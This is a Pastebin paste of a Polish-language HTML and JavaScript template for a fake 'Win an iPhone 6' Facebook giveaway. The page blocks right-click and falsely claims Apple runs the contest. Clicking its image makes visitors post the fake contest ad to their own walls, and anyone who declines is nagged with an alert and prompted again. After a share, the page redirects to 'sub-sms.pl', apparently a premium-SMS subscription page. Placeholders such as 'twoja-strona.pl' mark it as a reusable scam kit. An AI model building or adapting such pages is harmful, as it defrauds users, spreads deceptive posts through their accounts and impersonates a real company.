Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html
- xmlns:fb="http://www.facebook.com/2008/fbml"
- xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta content="text/html; charset=UTF-8"
- http-equiv="Content-Type">
- <title>Zdobądź iPhone 6</title>
- <link rel="shortcut icon" href="favicon.ico" />
- </head>
- <body oncontextmenu="return false">
- <style>
- body {
- background-repeat: repeat-x;
- background-image: url('back.png');
- background-size: 100%;
- background-repeat: no-repeat }
- </style>
- <div id="fb-root" class="fb_reset">
- <script type="text/javascript">
- //hd
- window.fbAsyncInit = function() {
- FB.init({appId: 'IDapki', status: true, cookie: true, xfbml: true});
- FB.Event.subscribe('edge.create', function(href, widget) {
- document.getElementById('share').style.display = "block";
- document.getElementById('liked').style.display = "none";
- });
- /* All the events registered */
- FB.Event.subscribe('auth.login', function(response) {
- // do something with response
- });
- FB.getLoginStatus(function(response) {
- if (response.session) {
- // logged in and connected user, someone you know
- }
- });
- };
- (function() {
- var e = document.createElement('script');
- e.type = 'text/javascript';
- e.src = document.location.protocol +
- '//connect.facebook.net/en_US/all.js';
- e.async = true;
- document.getElementById('fb-root').appendChild(e);
- }());
- function streamPublish(name, description, hrefTitle, hrefLink, userPrompt){
- FB.ui(
- {
- method: 'stream.publish',
- message: '',
- attachment: {
- name: 'Wygraj Telefon Iphone 6!',
- caption: 'twoja-strona.pl',
- description: ('Kliknij i wygraj jeden z 100 telefonów!'),
- href: 'twoja-strona.pl',
- media: [{ 'type': 'image', 'src': 'https://tctechcrunch2011.files.wordpress.com/2014/09/iphone-6-plus-front-hand.jpg?w=1279&h=727&crop=1', 'href':'twoja-strona.pl'}],
- href: 'twoja-strona.pl'
- },
- action_links: [
- { text: 'Biore udział w konkursie zorganizowanym przez APPLE :D Do wygrania Iphone6 <3', href: 'twoja-strona.pl' }
- ],
- user_prompt_message: 'text'
- },
- function(response) {
- if (response && response.post_id) {
- window.location = "sub-sms.pl";
- } else {
- alert('Aby wziąść udział w konkursie udostępnij stronę!');
- streamPublish();
- }
- });
- }
- </script>
- <center>
- <p align="center">
- <img onclick="streamPublish()"
- src="tlo.png" border="0"></p>
- </div>
- </center>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment